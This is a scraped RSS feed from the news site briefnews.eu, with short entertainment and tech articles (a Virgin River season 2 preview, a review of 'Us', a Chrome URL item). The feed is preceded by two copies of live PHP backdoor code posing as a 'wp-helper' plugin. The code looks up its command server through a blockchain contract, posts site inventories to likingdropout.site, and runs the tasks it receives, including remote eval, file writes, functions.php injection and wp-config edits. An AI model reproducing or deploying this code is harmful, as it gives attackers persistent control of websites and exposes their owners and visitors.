// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘messy’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 24 Nov 2020 00:04:40 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘messy’ – Brief News https://briefnews.eu 32 32 Virgin River Stars Preview ‘Messy, Complicated’ Triangle in Season 2 https://briefnews.eu/virgin-river-stars-preview-messy-complicated-triangle-in-season-2/ https://briefnews.eu/virgin-river-stars-preview-messy-complicated-triangle-in-season-2/#respond Tue, 24 Nov 2020 00:04:40 +0000 https://briefnews.eu/virgin-river-stars-preview-messy-complicated-triangle-in-season-2/

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Mel and Jack’s relationship remains the hottest topic in town when Virgin River returns on Friday, Nov. 27. And no matter how hard they try, neither can be excluded from the narrative.

When asked how Jack is doing atop the Netflix drama’s sophomore season, Martin Henderson tells TVLine, “Not great.” And can you blame him? Just as the emotionally damaged Marine was learning to open his heart to someone new, he discovered that his ex-girlfriend is pregnant.

“As a character, Jack works primarily from a sense of honor and duty,” Henderson says. “Being a Marine is such an integral part of who he is, and that extends to his responsibilities as a future father and his desire to be there for Charmaine. Unfortunately, those duties are often at odds with what Mel would want, which makes for a messy, complicated triangle between the three. They’re all after certain things, and the negotiation is clumsy. Charmaine, of course, manipulates things to the best of her abilities, and then it’s up to Jack and Mel to navigate that in a way honors themselves and each other.”

Alexandra Breckenridge echoes Henderson’s concerns about Charmaine, confirming that she’s “a little crazy pants. The thing is, Charmaine’s base level is already a little bit crazy, and then she gets pregnant… by her ex-boyfriend… who she’s still in love with.” (Hot take: We sympathize!) “But these are characters who just belong together. They’re like magnets, no matter how many obstacles keep getting thrown in their way.”

But as much as Virgin River is the story of Mel and Jack’s romance, it’s also about both characters conquering their individual problems. Breckenridge acknowledges that Mel has “really worked through a lot of the grief that she experienced in the first season, and she learned to sort of open up her heart again. She’s a survivor. She’s going to get back up again and make the best of it.”

As for Jack, Henderson says we’ll get into “some of the things he’s still struggling with from Iraq, the demons he’s plagued with, and how he attempts to push all of that down. It all starts to bubble up as he feels the pressure of what he’s up against with Charmaine and the baby. And I’m glad that we see more of that aspect of him. He’s not just this romance novel hero. He’s flawed and he’s struggling.”

We’ll leave you with this tease from showrunner Sue Tenney. “You’ll see Jack and Mel struggle against their attraction in Season 2, and you’ll see what happens if they succumb to it. You’ll see what that means for their future — and how that future gets massively complicated in the very last moments of the season.”

What are your hopes and predictions for Virgin River‘s second season? Drop ’em in a comment below.

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]]> https://briefnews.eu/virgin-river-stars-preview-messy-complicated-triangle-in-season-2/feed/ 0 Jordan Peele’s ‘Us’ is a Messy But Masterful Sophomore Effort https://briefnews.eu/jordan-peeles-us-is-a-messy-but-masterful-sophomore-effort/ https://briefnews.eu/jordan-peeles-us-is-a-messy-but-masterful-sophomore-effort/#respond Sat, 09 Mar 2019 11:56:55 +0000 http://briefnews.eu/jordan-peeles-us-is-a-messy-but-masterful-sophomore-effort/ AUSTIN, TX: “What if I just showed four episodes of This is Us in a row, no explanation?” Jordan Peele asked with a sly smile, during the introduction to Us, which is (most would agree) the most anticipated movie of this year’s SXSW Film Festival. Interest was so feverish in being among the first to see Peele’s sophomore directorial effort, the follow-up to his Oscar winner Get Out, that I heard people were lining up as early as five and a half hours before start time. This writer got in line two-plus early, and barely made it in. Expectations were sky-high. Peele had a lot to live up to.

The plot, put simply, goes something like this: an African-American family heads out to their summer house to relax. But the mother, Adelaide (Lupita Nyong’o) is reluctant to visit the nearby Santa Cruz beach; as a child, as seen in the film’s prologue, she wandered off from her family there, and what she discovered inside the right-off-the-boardwalk “Vision Quest” hall of mirrors (“find yourself,” dare its signs) left her deeply scarred.

Peele takes his time in these opening segments, paying particular attention to the clarity of the relationships; we know, fairly quickly, whom everyone is, how everyone feels about them, and how they fit in to this family unit. It is, unsurprisingly, a very funny movie – if anything, Peele pivots between horror and comedy even more gracefully than in Get Out. And this is personality-based humor, the best kind, with most of the laughs rooted in the squareness of bourgeois buppy tendencies of the family (especially Gabe, the dad, fleshed out handily by the very funny Winston Duke). And, this being a Jordan Peele picture, there’s a touch of code-switching; listen for the way Gabe’s voice changes when he tries to front like a tough guy after the home invaders show up.

And they do. If the opening scenes are deliberate, once Us gets going, it goes; the efficiency of the turn is striking, as is the confidence with which Peele sets his scenes, moves his camera, and freaks us out. In scene after scene he creates a mood of offhand, everyday spookiness, and then turns the screw with genuinely disturbing imagery. The visual strategies foreshadow the identity of the invaders, each of whom seems a bizarro replica of a member of the family; Peele is constantly framing his characters in mirrors, glass reflection, and even, late in the film, a thematically appropriate De Palma-style split diopter shot. The cinematographer is Mike Gioulakis (his credits also include Glass and It Follows), and he spends much of the film, which is set mostly over one long night, playing with light and dark and dark skin, in backgrounds and shadows.

(Jason Bailey / Flavorwire)

The editing is sharp – there’s a suite of cross-cut one-on-one confrontations, once each of our protagonists meets their doppelganger, that’s sort of staggering – but Peele is always careful to give his actors their moments. (Elisabeth Moss has one, carefully applying lipstick in a mirror, that is absolutely chilling.) Every performance lands, thought Nyong’o has the movie star role, and plays it as such; her payoff moments deliver, but she’s unnervingly creepy when playing her character’s villainous half.

And yet, with all those virtues noted, Us can’t quite match Peele’s debut. Part of that is just a question of timing; Get Out is a terrific thriller that also arrived at precisely the right moment, in the morning-after hangover of a stupefying presidential election, and seemed a timely reminder of the evil that our smiling friends and neighbors are capable of.

But if Get Out was accidental Trump commentary, Us is decidedly deliberate, particularly in its third-act explanations and revelations, and when Peele preceded the SXSW screening by announcing, “the movie is about a lot of things,” he tipped his hand a bit – particularly in the opening stretches, there’s a fair amount of seemingly random setup and sheer oddity, bunnies under opening credits and vague on-screen text about underground tunnels and a lot of details about the 1986 Hands Across America project. Some of it pays off, but in a way that makes those elements feel like side scrawlings in a director’s notebook, plot points created to accommodate stuff he thought would be cool to throw into the movie, rather than growing organically from the material.

(Jason Bailey / Flavorwire)

Get Out was the latter, and as a result, it was tight as a drum. Us is not that, which isn’t entirely a criticism. Such ambition – a sophomore filmmaker grasping to make a big statement, and fumbling a bit in the process – is not only forgivable, but admirable. Ultimately, he’s hoping to provoke thought, self-examination, even anger.

“My favorite thing is the idea that people will leave ready to have a conversation with whoever they’re with,” Peele explained in the post-screening Q&A. “I have a very clear meaning and commentary I’m trying to strike with this film, but I also wanted to design a film that’s very personal for every individual.

“In the broader strokes of things, this movie is about this country. And when I decided to write this movie, I was stricken by the fact that we are in a time where we fear the other. Whether it is the mysterious invader that we think is gonna come kill us and take our jobs, or the faction that we don’t live near that voted a different way than us… we’re all about pointing the finger. And I wanted to suggest that maybe the monster we really need to look at has our face. Maybe the evil is us.”

“Us” is out March 22 in wide release.

Elisabeth Moss    Get Out    jordan peele    Lupita Nyong’o    SXSW 2019    US    Winston Duke

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]]> https://briefnews.eu/jordan-peeles-us-is-a-messy-but-masterful-sophomore-effort/feed/ 0 Carbon Capture Is Messy and Fraught—But Might Be Essential https://briefnews.eu/carbon-capture-is-messy-and-fraught-but-might-be-essential/ https://briefnews.eu/carbon-capture-is-messy-and-fraught-but-might-be-essential/#respond Mon, 29 Oct 2018 11:38:25 +0000 http://briefnews.eu/carbon-capture-is-messy-and-fraught-but-might-be-essential/ A new report calls for more research into carbon capture tech. Problem, though: Who will pay to make it happen?


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]]> https://briefnews.eu/carbon-capture-is-messy-and-fraught-but-might-be-essential/feed/ 0 Chrome cleans up messy URLs when you share from your phone https://briefnews.eu/chrome-cleans-up-messy-urls-when-you-share-from-your-phone/ https://briefnews.eu/chrome-cleans-up-messy-urls-when-you-share-from-your-phone/#respond Tue, 20 Feb 2018 00:40:42 +0000 http://briefnews.eu/chrome-cleans-up-messy-urls-when-you-share-from-your-phone/

Google keeps making the web easier to use with its Chrome browser, from filtering ads on the desktop to getting rid of pop-ups and redirects on Android. The company just made sharing messy URLs nicer, too, thanks to the latest version of Chrome on mobile, v64. Now when you grab a long, complicated web address, Chrome will trim off the unnecessary bits from the end. That way, you won’t muck up a chat with a whole bunch of personal tracking info at the end of an Amazon link, for example.

To get the new streamlined URL feature, you’ll need to use the Chrome Share menu, accessed via the three vertical dots at the top of your browser screen. Some links need the extra info to get you to the right position on a given page, though. If that’s the case, you can still copy URLs manually to share with your buddies.

Via: Android Police

Source: Google Play

